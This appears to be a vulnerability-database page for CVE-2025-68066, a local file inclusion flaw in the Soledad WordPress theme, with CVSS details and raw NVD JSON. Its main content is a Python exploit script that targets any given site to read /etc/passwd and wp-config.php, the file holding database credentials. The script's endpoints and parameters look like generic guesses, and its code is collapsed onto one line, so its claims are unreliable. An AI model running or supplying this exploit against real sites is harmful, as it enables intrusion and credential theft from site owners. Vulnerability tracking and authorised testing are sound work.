Security Vulnerability Report
中文
CVE-2025-68066 CVSS 7.5 HIGH

CVE-2025-68066

Published: 2025-12-16 09:16:02
Last Modified: 2026-04-24 20:16:24

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in PenciDesign Soledad soledad allows PHP Local File Inclusion.This issue affects Soledad: from n/a through <= 8.7.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Soledad主题 <= 8.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68066 LFI PoC for Soledad Theme <= 8.7.0 # Target: WordPress site using Soledad theme def exploit_lfi(target_url, filename='/etc/passwd'): """ Exploit local file inclusion vulnerability in Soledad theme Args: target_url: Base URL of the vulnerable WordPress site filename: Local file to read (default: /etc/passwd) """ # Common vulnerable endpoints in Soledad theme endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/themes/soledad/functions.php', '/wp-content/themes/soledad/inc/template-functions.php' ] # LFI parameters (common patterns) params = [ {'action': 'soledad_framework_ajax', 'file': filename}, {'action': 'pf_get_template', 'template': filename}, {'ajax': '1', 'page': filename} ] print(f'[*] Target: {target_url}') print(f'[*] Attempting to read: {filename}') for endpoint in endpoints: for param in params: try: full_url = target_url.rstrip('/') + endpoint response = requests.get(full_url, params=param, timeout=10) if response.status_code == 200 and any(x in response.text for x in ['root:', 'bin:', 'daemon:']): print(f'[+] SUCCESS! File content via {endpoint}') print(response.text[:500]) return True except Exception as e: print(f'[-] Error with {endpoint}: {e}') # Try path traversal payload = '../../../..' + filename print(f'[*] Trying path traversal: {payload}') for endpoint in endpoints: try: full_url = target_url.rstrip('/') + endpoint response = requests.get(full_url, params={'file': payload}, timeout=10) if response.status_code == 200: print(f'[+] Response received from {endpoint}') print(response.text[:500]) except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-68066.py <target_url> [file_to_read]') print('Example: python cve-2025-68066.py http://target.com /etc/passwd') sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' exploit_lfi(target, file_path) # Read wp-config.php print('\n[*] Attempting to read wp-config.php...') exploit_lfi(target, 'wp-config.php')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68066", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:01.880", "lastModified": "2026-04-24T20:16:23.670", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in PenciDesign Soledad soledad allows PHP Local File Inclusion.This issue affects Soledad: from n/a through <= 8.7.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/soledad/vulnerability/wordpress-soledad-theme-8-7-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}